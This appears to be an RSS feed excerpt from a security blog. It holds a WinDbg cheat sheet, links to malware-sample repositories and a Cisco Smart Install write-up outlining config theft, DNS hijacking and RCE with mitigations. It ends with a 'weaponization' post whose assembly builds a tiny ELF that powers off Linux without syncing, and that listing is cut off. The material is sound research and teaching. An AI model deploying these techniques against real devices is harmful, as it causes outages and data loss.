&lt;tr>
&lt;td>r ecx&lt;/td>
&lt;td>Dump value in ECX&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>r ecx=41414141&lt;/td>
&lt;td>Write 0x41414141 to ECX&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>!teb&lt;/td>
&lt;td>Dump Thread Environment Block&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>!peb&lt;/td>
&lt;td>Dump Process Environment Block&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>!vadump&lt;/td>
&lt;td>Dump memory pages/info&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>!heap&lt;/td>
&lt;td>Dump heap info&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="display-type-dt">Display Type (dt)&lt;/h3>
&lt;p>&lt;a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/dt--display-type-">https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/dt--display-type-&lt;/a>&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>dt ntdll!_TEB&lt;/td>
&lt;td>dump the Thread Env Block&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dt -r ntdll!_TEB @$teb&lt;/td>
&lt;td>-r is recursively dumping structs, @$teb is a pseudo register that represents $teb&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>?? sizeof(ntdll!_TEB)&lt;/td>
&lt;td>Get the size of a structure&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Display specific fields:&lt;/p>
&lt;pre tabindex="0">&lt;code>dt ntdll!_TEB @$teb ThreadLocalStoragePointer
&lt;/code>&lt;/pre>&lt;h2 id="writing-to-memory">Writing to Memory&lt;/h2>
&lt;p>Write ascii with ea, write unicode with eu&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>dd esp L1&lt;/td>
&lt;td>Show dword at esp&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ed esp 41414141&lt;/td>
&lt;td>Write 0x41414141 to pointer in ESP&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dd esp L1&lt;/td>
&lt;td>Show dword at esp&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ea esp &amp;ldquo;Haha&amp;rdquo;&lt;/td>
&lt;td>Write &amp;ldquo;Haha&amp;rdquo; to the pointer at ESP&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>da esp&lt;/td>
&lt;td>Show ASCII from bytes at ESP&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>eu esp &amp;ldquo;Ha&amp;rdquo;&lt;/td>
&lt;td>Write &amp;ldquo;Ha&amp;rdquo; UTF-16, which is also 4 bytes&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>da esp&lt;/td>
&lt;td>Show ASCII from bytes at ESP&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="searching-memory-space">Searching Memory Space&lt;/h2>
&lt;p>See reference for way more info
&lt;a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/s--search-memory-">https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/s--search-memory-&lt;/a>&lt;/p>
&lt;p>Four parameters&lt;/p>
&lt;ul>
&lt;li>Memory type (if none then it defaults to bytes)
-d DWORD
-a ASCII
-u Unicode&lt;/li>
&lt;li>Starting Point&lt;/li>
&lt;li>Length of Memory&lt;/li>
&lt;li>Pattern&lt;/li>
&lt;/ul>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ed esp 41414141&lt;/td>
&lt;td>Write 0x41414141 to pointer in ESP&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>s -d 0 L?80000000 41414141&lt;/td>
&lt;td>Search process image for dword 0x41414141&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>s -d 77a40000 77d00000 41414141&lt;/td>
&lt;td>Search address range for dword 0x41414141&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>s 77a40000 77a60000 41 41 41 41&lt;/td>
&lt;td>Search address range for 0x41414141 as bytes&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="examples">Examples:&lt;/h3>
&lt;p>Search for DOS header:&lt;/p>
&lt;pre tabindex="0">&lt;code>s -a 0 L?80000000 &amp;#34;This program cannot be run in DOS mode&amp;#34;
&lt;/code>&lt;/pre>&lt;p>Search for the string &amp;ldquo;SCADA&amp;rdquo; as unicode:&lt;/p>
&lt;pre tabindex="0">&lt;code>s -u 0 L?80000000 &amp;#34;SCADA&amp;#34;
- Example Output: 53 00 43 00 41 00 44 00 41 00 00 00
&lt;/code>&lt;/pre>&lt;h2 id="expressions">Expressions&lt;/h2>
&lt;p>The default representation of numbers in Windbg is hex.&lt;/p>
&lt;p>See all the formats of a hex number with .formats&lt;/p>
&lt;pre tabindex="0">&lt;code>0:000&amp;gt; .formats 41414141
Evaluate expression:
Hex: 41414141
Decimal: 1094795585
Octal: 10120240501
Binary: 01000001 01000001 01000001 01000001
Chars: AAAA
Time: Fri Sep 10 01:53:05 2004
Float: low 12.0784 high 0
Double: 5.40901e-315
&lt;/code>&lt;/pre>&lt;p>&lt;code>?&lt;/code> evaluates an expression.&lt;/p>
&lt;pre tabindex="0">&lt;code>0:000&amp;gt; ? 77269bc0 - 77231430
Evaluate expression: 231312 = 00038790
0:000&amp;gt; ? 77269bc0 &amp;gt;&amp;gt; 18
Evaluate expression: 119 = 00000077
&lt;/code>&lt;/pre>&lt;p>Doing the same thing in decimal needs 0n as the prefix.&lt;/p>
&lt;pre tabindex="0">&lt;code>0:007&amp;gt; ? 0n1000 - 0n250
Evaluate expression: 750 = 000002ee
&lt;/code>&lt;/pre>&lt;p>Binary needs 0y prefix. This is 0x41 + 0x41&lt;/p>
&lt;pre tabindex="0">&lt;code>0:007&amp;gt; ? 0y01000001 + 0y01000001
Evaluate expression: 130 = 00000082
&lt;/code>&lt;/pre>&lt;p>User defined psuedo registers $t0 to $t19. Useful in scripts.&lt;/p>
&lt;pre tabindex="0">&lt;code>r@$t0 = 41414141 -- Assign value to $t0
r $t0 -- Examine value in $t0
&lt;/code>&lt;/pre></description></item><item><title>threatland/TL-BOTS</title><link>https://n0.lol/tl-bots/</link><pubDate>Wed, 02 Oct 2019 12:00:00 -0400</pubDate><guid>https://n0.lol/tl-bots/</guid><description>&lt;p>&lt;a href="https://github.com/threatland/TL-BOTS">https://github.com/threatland/TL-BOTS&lt;/a>&lt;/p></description></item><item><title>netspooky/inhale</title><link>https://n0.lol/inhale/</link><pubDate>Sat, 14 Sep 2019 12:00:00 -0400</pubDate><guid>https://n0.lol/inhale/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/inhale">https://github.com/netspooky/inhale&lt;/a>&lt;/p></description></item><item><title>threatland/TL-TROJAN</title><link>https://n0.lol/tl-trojan/</link><pubDate>Sat, 24 Aug 2019 12:00:00 -0400</pubDate><guid>https://n0.lol/tl-trojan/</guid><description>&lt;p>&lt;a href="https://github.com/threatland/TL-TROJAN">https://github.com/threatland/TL-TROJAN&lt;/a>&lt;/p></description></item><item><title>Cisco SMI: Still Tippin'</title><link>https://n0.lol/ciscosmi/</link><pubDate>Sat, 10 Aug 2019 12:00:00 -0400</pubDate><guid>https://n0.lol/ciscosmi/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>Configuration management is hard, expecially at scale. Cisco IOS and IOS XE
software has a feature which allows for simpler deployment of a new switch,
allowing for easy plug-and-play configuration. The feature is known as &lt;a href="https://www.cisco.com/c/en/us/td/docs/switches/lan/smart_install/configuration/guide/smart_install/concepts.html">Cisco Smart Install&lt;/a> (SMI), and makes it less painful to configure new switches.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/smi_network.jpg" alt="">&lt;/p>
&lt;p>The core of Cisco SMI is a network of Smart Install devices, a director, and
any number of clients. The director acts as the manager for images and device
configurations for clients. When a switch is brought online, the director will
detect it, and begin configuring the device according to specifications. The
key feature of this is that this network of SMI device is ad hoc, and as a
result, there is no authentication, and implicit trust given by clients.&lt;/p>
&lt;p>Back in 2017, there had been a number of &lt;a href="https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180409-smi">vulnerabilities&lt;/a> disclosed regarding
Cisco Smart Install, leading to several &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-0171">CVEs&lt;/a> and PoCs for exploiting an
exposed SMI service. These allowed for &lt;a href="https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi">DoS&lt;/a>, configuration changes, and even
a full rewrite of the firmware image on the device.&lt;/p>
&lt;p>In 2018, a buffer overflow vulnerability was disclosed in Cisco SMI, leading
to remote code execution on a given router. Cisco came out with an advisory
about the vulnerability, and it was given a CVE. This upgraded the severity
from &lt;a href="https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi">&amp;ldquo;protocol misuse&amp;rdquo;&lt;/a> to full blown vulnerability.&lt;/p>
&lt;p>In April 2018, a US-CERT advisory was released regarding the discovery of
Russian State-Sponsored actors targeting this specific vulnerability, and
using it to attack critical infrastructure.&lt;/p>
&lt;p>This vulnerability is easily exploitable, is being actively exploited, and can
have devastating effects on networks for organizations, governments, and entire
countries.&lt;/p>
&lt;h2 id="whats-out-there">What&amp;rsquo;s out there?&lt;/h2>
&lt;p>Given all of this information, how many vulnerable devices do you think are
still out there in the wild?&lt;/p>
&lt;p>To put it simply&amp;hellip;a lot. The shodan search &lt;a href="https://www.shodan.io/search?query=%22Cisco+Smart+Install+Client+active%22">&amp;ldquo;Cisco Smart Install Client active&amp;rdquo;&lt;/a>
yields over 50,000 results as of this writing.&lt;/p>
&lt;p>Some of these results come and go, as devices are configured and quickly
locked down. Many of them stay online for a while without the knowledge of
the admins of the network.&lt;/p>
&lt;h2 id="what-have-i-found">What have I found?&lt;/h2>
&lt;p>I have found and disclosed a number of vulnerable Cisco switches to various
organizations. These include government, defense, and tier-1 network targets,
all of whom have had vulnerable devices sitting on their networks. This
ultimately led me to writing about the lasting effects of this vulnerability
for organizations who may be unaware, and researchers who are interested
in network infrastructure.&lt;/p>
&lt;h2 id="what-are-the-implications">What are the implications?&lt;/h2>
&lt;p>The routers with vulnerabilities that I have reported have typically been ones
that are connected to things that appear to be on the sensitive side in terms
of overall impact. If a malicious actor wanted to exploit these, there are a
few approaches they could take.&lt;/p>
&lt;p>The first stage would involve identifying the target. Connecting to port 4786
will inform an attacker if the SMI banner is visible. From there, the &lt;a href="https://github.com/Sab0tag3d/SIET">SIET&lt;/a>
tool can be used to determine if the target is vulnerable.&lt;/p>
&lt;p>The following is a list of possible attack vectors for a Cisco SMI device once
it is determined to be vulnerable.&lt;/p>
&lt;h3 id="dos">DoS&lt;/h3>
&lt;p>The simplest thing an attacker can do is a Denial of Service. This can be done
in a number of ways, including tampering with device configurations, and
issuing commands to shut down the device.&lt;/p>
&lt;p>The impact of this is immediate, anything that the router is responsible for
routing will no longer have access to the internet.&lt;/p>
&lt;h3 id="change-configuration">Change Configuration&lt;/h3>
&lt;p>Changing the device &lt;a href="https://github.com/cisco-config-analysis-tool/ccat">configuration&lt;/a> is also another trivial attack vector. The
configuration files contain a lot of information. You can find network
mappings, acls, passwords, certificates, and other parameters relevant to the
network in a given config file.&lt;/p>
&lt;p>Changes to this can be used for all sorts of nefarious purposes. Compromising
certificates and keys, hijacking routing, and locking the administrators out
of the switch.&lt;/p>
&lt;h3 id="gre-tunnel">GRE Tunnel&lt;/h3>
&lt;p>GRE tunnels can easily be configured by modifying the device configuration.
GRE tunnels in hijacked SMI routers have been used to reroute DNS queries to
an attackers infrastructure. Router level DNS hijacking on sensitive networks
can have devastating effects that are not easy to detect.&lt;/p>
&lt;h3 id="malicious-firmware">Malicious Firmware&lt;/h3>
&lt;p>A feature of SMI is the ability for a SMI director to load a new firmware
image onto a client device. There are many implications for loading a new
image. While this might be the most challenging thing to pull off, it could
be the most costly in terms of a persistence.&lt;/p>
&lt;h3 id="remote-code-execution">Remote Code Execution&lt;/h3>
&lt;p>An RCE is possible through a stack overflow when sending a discovery message
to a given client. The size of the message is not properly checked by the
device, leading to remote code execution. More information on the technical
details and a PoC can be found &lt;a href="https://embedi.org/blog/cisco-smart-install-remote-code-execution/">here&lt;/a>.&lt;/p>
&lt;h2 id="why-should-i-care">Why should I care?&lt;/h2>
&lt;p>This vulnerability has been known for over two years, and it is still quite
common. Even in the wake of US-CERT advisories, vendor patches, and tools
built to exploit this, many large organizations in all sectors continue to
deploy vulnerable switches.&lt;/p>
&lt;p>Taking a look at the Greynoise &lt;a href="https://viz.dev.greynoise.io/query/?gnql=raw_data.scan.port%3A4786%20-classification%3Abenign">visualizer tool&lt;/a>, we can get a better look at
how many people are scanning for these devices as well.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/smi_greynoise1.png" alt="">&lt;/p>
&lt;p>There is still quite a lot of activity for this service, and some of my own
honeypots have picked up activity on this port. Since there is widespread
tooling for exploiting SMI, it&amp;rsquo;s likely that most attackers are simply scaling
these tools.&lt;/p>
&lt;h2 id="what-does-an-attack-look-like">What does an attack look like?&lt;/h2>
&lt;p>Depending on the tooling used, your typical attack will look something like
this:&lt;/p>
&lt;p>&lt;img src="https://n0.lol/smi_hex1.png" alt="">&lt;/p>
&lt;p>The first message is the command &lt;code>configure tftp-server nvram:startup-config&lt;/code>,
which attempts to start up the tftp server on the router with the system&amp;rsquo;s
configuration file.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/smi_hex2.png" alt="">&lt;/p>
&lt;p>The second message is attempting to copy the running configuration file into
flash memory, and then transfer it to a remote server over tftp. This command
sequence is straight out of the SIET tool&amp;rsquo;s &lt;code>get-config&lt;/code> option.&lt;/p>
&lt;h2 id="what-can-we-do-about-it">What can we do about it?&lt;/h2>
&lt;ul>
&lt;li>Disable SMI if a switch is on a public network.&lt;/li>
&lt;li>Upgrade your switch.&lt;/li>
&lt;li>Report vulnerable devices on sensitive networks if you find them.&lt;/li>
&lt;/ul>
&lt;h2 id="greetz">greetz&lt;/h2>
&lt;p>As always, thanks to my buddies at ThugCrowd for letting me rant and confirm
my suspicions. Shoutout hermit, dnz, notdan, readme, sshell, protoxin, phreck,
hexadecim8, casey @ bugcrowd, hackerone, Level3, and all the orgs who didn&amp;rsquo;t
threaten me when I came to them with this information.&lt;/p>
&lt;p>Special shoutout goes to Andrew Morris of GreyNoise for letting me use their
sweet visualizer while it was still in development while researching this.&lt;/p></description></item><item><title>threatland/TL-FRAUD</title><link>https://n0.lol/tl-fraud/</link><pubDate>Mon, 05 Aug 2019 12:00:00 -0400</pubDate><guid>https://n0.lol/tl-fraud/</guid><description>&lt;p>&lt;a href="https://github.com/threatland/TL-FRAUD">https://github.com/threatland/TL-FRAUD&lt;/a>&lt;/p></description></item><item><title>netspooky/jloot</title><link>https://n0.lol/jloot/</link><pubDate>Sun, 14 Jul 2019 12:00:00 -0400</pubDate><guid>https://n0.lol/jloot/</guid><description>&lt;p>This script iterates over endpoints on a self-hosted Jira instance and downloads them. Uses yara to find interesting files.&lt;/p>
&lt;p>Based on a WONTFIX issue with Atlassian.&lt;/p>
&lt;p>&lt;a href="https://github.com/netspooky/jLoot">https://github.com/netspooky/jLoot&lt;/a>&lt;/p></description></item><item><title>ELF Binary Mangling Pt. 3: Weaponization</title><link>https://n0.lol/ebm/3/</link><pubDate>Sun, 16 Dec 2018 12:00:00 -0400</pubDate><guid>https://n0.lol/ebm/3/</guid><description>&lt;p>Hey y&amp;rsquo;all, thanks for all the support ! I didn’t realize so many people would
think this sort of coding was as cool as I do.&lt;/p>
&lt;p>In the previous write up, the concept of binary golf was established, executing
a binary in as few bytes as possible. There’s quite a lot of history in the
realm of &amp;ldquo;size coding&amp;rdquo;, and extreme assembly optimization. The people who
pioneered and later weaponized these approaches did some amazing work to really
map out what the limitations of the processor actually are, and some wild ways
of making things happen.&lt;/p>
&lt;p>There are many resources regarding &lt;a href="http://www.sizecoding.org/wiki/Main_Page">size coding&lt;/a>,
&lt;a href="http://shell-storm.org/shellcode/">shellcode development&lt;/a>, and other
assembly tricks. In this write up, we are going to explore coding within the
size boundary we established for ELF64, and actually make those 84 bytes
actually do something.&lt;/p>
&lt;h2 id="establishing-boundaries">Establishing Boundaries&lt;/h2>
&lt;p>Like everything in life, boundaries need to be established in order to
understand processes and their effects. Within the boundaries of the ELF64
binary template, there are some key areas where code can safely exist. These
are sections where the loader that processes your binary doesn’t seem to mind a
bunch of junk data. Due to us already overlaying ELF and program headers, there
is a significant challenge to identifying these locations, and reusable
structures that we can leverage.&lt;/p>
&lt;p>Our main areas of focus today are:&lt;/p>
&lt;pre tabindex="0">&lt;code>0x04–0x0F: 12 bytes
0x3C-0x39: 4 bytes
0x44–0x47: 4 bytes
0x4C-0x53: 8 bytes
&lt;/code>&lt;/pre>&lt;h2 id="byeasm">bye.asm&lt;/h2>
&lt;p>This is the code that we want to execute:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">edx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x4321fedc&lt;/span> &lt;span class="c1">; badcfe2143 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">esi&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x28121969&lt;/span> &lt;span class="c1">; be69191228 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">edi&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xfee1dead&lt;/span> &lt;span class="c1">; bfaddee1fe &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">al&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xa9&lt;/span> &lt;span class="c1">; b0a9 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">syscall&lt;/span> &lt;span class="c1">; 0f05 &lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>In a nutshell, this program executes the &lt;a href="http://man7.org/linux/man-pages/man2/reboot.2.html">reboot&lt;/a> syscall with the argument
&lt;code>LINUX_REBOOT_CMD_POWER_OFF&lt;/code>. This essentially executes the same syscall that
your OS calls when you hold down the power off button, but without any of sync
or other routines that will allow your system to shutdown gracefully. The
syscall is executed by placing magic values and an argument for the specific
type of reboot you want to do in the specified registers, and then calling the
kernel.&lt;/p>
&lt;h2 id="the-process">The Process&lt;/h2>
&lt;p>So how do we load all of this into our 84 byte ELF binary? Let’s take a look at
our code, and our binary, and see what we can do.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt"> 10
&lt;/span>&lt;span class="lnt"> 11
&lt;/span>&lt;span class="lnt"> 12
&lt;/span>&lt;span class="lnt"> 13
&lt;/span>&lt;span class="lnt"> 14
&lt;/span>&lt;span class="lnt"> 15
&lt;/span>&lt;span class="lnt"> 16
&lt;/span>&lt;span class="lnt"> 17
&lt;/span>&lt;span class="lnt"> 18
&lt;/span>&lt;span class="lnt"> 19
&lt;/span>&lt;span class="lnt"> 20
&lt;/span>&lt;span class="lnt"> 21
&lt;/span>&lt;span class="lnt"> 22
&lt;/span>&lt;span class="lnt"> 23
&lt;/span>&lt;span class="lnt"> 24
&lt;/span>&lt;span class="lnt"> 25
&lt;/span>&lt;span class="lnt"> 26
&lt;/span>&lt;span class="lnt"> 27
&lt;/span>&lt;span class="lnt"> 28
&lt;/span>&lt;span class="lnt"> 29
&lt;/span>&lt;span class="lnt"> 30
&lt;/span>&lt;span class="lnt"> 31
&lt;/span>&lt;span class="lnt"> 32
&lt;/span>&lt;span class="lnt"> 33
&lt;/span>&lt;span class="lnt"> 34
&lt;/span>&lt;span class="lnt"> 35
&lt;/span>&lt;span class="lnt"> 36
&lt;/span>&lt;span class="lnt"> 37
&lt;/span>&lt;span class="lnt"> 38
&lt;/span>&lt;span class="lnt"> 39
&lt;/span>&lt;span class="lnt"> 40
&lt;/span>&lt;span class="lnt"> 41
&lt;/span>&lt;span class="lnt"> 42
&lt;/span>&lt;span class="lnt"> 43
&lt;/span>&lt;span class="lnt"> 44
&lt;/span>&lt;span class="lnt"> 45
&lt;/span>&lt;span class="lnt"> 46
&lt;/span>&lt;span class="lnt"> 47
&lt;/span>&lt;span class="lnt"> 48
&lt;/span>&lt;span class="lnt"> 49
&lt;/span>&lt;span class="lnt"> 50
&lt;/span>&lt;span class="lnt"> 51
&lt;/span>&lt;span class="lnt"> 52
&lt;/span>&lt;span class="lnt"> 53
&lt;/span>&lt;span class="lnt"> 54
&lt;/span>&lt;span class="lnt"> 55
&lt;/span>&lt;span class="lnt"> 56
&lt;/span>&lt;span class="lnt"> 57
&lt;/span>&lt;span class="lnt"> 58
&lt;/span>&lt;span class="lnt"> 59
&lt;/span>&lt;span class="lnt"> 60
&lt;/span>&lt;span class="lnt"> 61
&lt;/span>&lt;span class="lnt"> 62
&lt;/span>&lt;span class="lnt"> 63
&lt;/span>&lt;span class="lnt"> 64
&lt;/span>&lt;span class="lnt"> 65
&lt;/span>&lt;span class="lnt"> 66
&lt;/span>&lt;span class="lnt"> 67
&lt;/span>&lt;span class="lnt"> 68
&lt;/span>&lt;span class="lnt"> 69
&lt;/span>&lt;span class="lnt"> 70
&lt;/span>&lt;span class="lnt"> 71
&lt;/span>&lt;span class="lnt"> 72
&lt;/span>&lt;span class="lnt"> 73
&lt;/span>&lt;span class="lnt"> 74
&lt;/span>&lt;span class="lnt"> 75
&lt;/span>&lt;span class="lnt"> 76
&lt;/span>&lt;span class="lnt"> 77
&lt;/span>&lt;span class="lnt"> 78
&lt;/span>&lt;span class="lnt"> 79
&lt;/span>&lt;span class="lnt"> 80
&lt;/span>&lt;span class="lnt"> 81
&lt;/span>&lt;span class="lnt"> 82
&lt;/span>&lt;span class="lnt"> 83
&lt;/span>&lt;span class="lnt"> 84
&lt;/span>&lt;span class="lnt"> 85
&lt;/span>&lt;span class="lnt"> 86
&lt;/span>&lt;span class="lnt"> 87
&lt;/span>&lt;span class="lnt"> 88
&lt;/span>&lt;span class="lnt"> 89
&lt;/span>&lt;span class="lnt"> 90
&lt;/span>&lt;span class="lnt"> 91
&lt;/span>&lt;span class="lnt"> 92
&lt;/span>&lt;span class="lnt"> 93
&lt;/span>&lt;span class="lnt"> 94
&lt;/span>&lt;span class="lnt"> 95
&lt;/span>&lt;span class="lnt"> 96
&lt;/span>&lt;span class="lnt"> 97
&lt;/span>&lt;span class="lnt"> 98
&lt;/span>&lt;span class="lnt"> 99
&lt;/span>&lt;span class="lnt">100
&lt;/span>&lt;span class="lnt">101
&lt;/span>&lt;span class="lnt">102
&lt;/span>&lt;span class="lnt">103
&lt;/span>&lt;span class="lnt">104
&lt;/span>&lt;span class="lnt">105
&lt;/span>&lt;span class="lnt">106
&lt;/span>&lt;span class="lnt">107
&lt;/span>&lt;span class="lnt">108
&lt;/span>&lt;span class="lnt">109
&lt;/span>&lt;span class="lnt">110
&lt;/span>&lt;span class="lnt">111
&lt;/span>&lt;span class="lnt">112
&lt;/span>&lt;span class="lnt">113
&lt;/span>&lt;span class="lnt">114
&lt;/span>&lt;span class="lnt">115
&lt;/span>&lt;span class="lnt">116
&lt;/span>&lt;span class="lnt">117
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 84 byte LINUX_REBOOT_CMD_POWER_OFF Binary Golf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">BITS&lt;/span> &lt;span class="mi">64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">org&lt;/span> &lt;span class="mh">0x100000000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;---------------------+------+------------+------------------------------------------+-----------------------------+----------+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; CODE LISTING | OFFS | ASSEMBLY | CODE COMMENT | ELF HEADER STRUCT | PHDR | &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;---------------------+------+------------+------------------------------------------+-----------------------------+----------+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mh">0x7F&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;ELF&amp;#34;&lt;/span> &lt;span class="c1">; 0x0 | 7f454c46 | PROTIP: Can use magic as a constant ;) | ELF Magic | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">_start:&lt;/span> &lt;span class="c1">;------|------------|------------------------------------------|-----------------------------|----------|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">edx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x4321fedc&lt;/span> &lt;span class="c1">; 0x04 | badcfe2143 | Moving magic values... | ei_class,ei_data,ei_version | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">esi&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x28121969&lt;/span> &lt;span class="c1">; 0x09 | be69191228 | into their respective places | unused | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">short&lt;/span> &lt;span class="nv">reeb&lt;/span> &lt;span class="c1">; 0x0E | eb3c | Short jump down to @x4c | unused | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="c1">; 0x10 | 0200 | | e_type | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x3e&lt;/span> &lt;span class="c1">; 0x12 | 3e00 | | e_machine | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1">; 0x14 | 01000000 | | e_version | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="nv">_start&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="kc">$$&lt;/span> &lt;span class="c1">; 0x18 | 04000000 | | e_entry | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">phdr:&lt;/span> &lt;span class="c1">;------|------------|------------------------------------------|-----------------------------|----------|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1">; 0x1C | 01000000 | | e_entry | p_type |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="nv">phdr&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="kc">$$&lt;/span> &lt;span class="c1">; 0x20 | 1c000000 | | e_phoff | p_flags |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x24 | 00000000 | | e_phoff | p_offset |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x28 | 00000000 | | e_shoff | p_offset |&lt;/span>
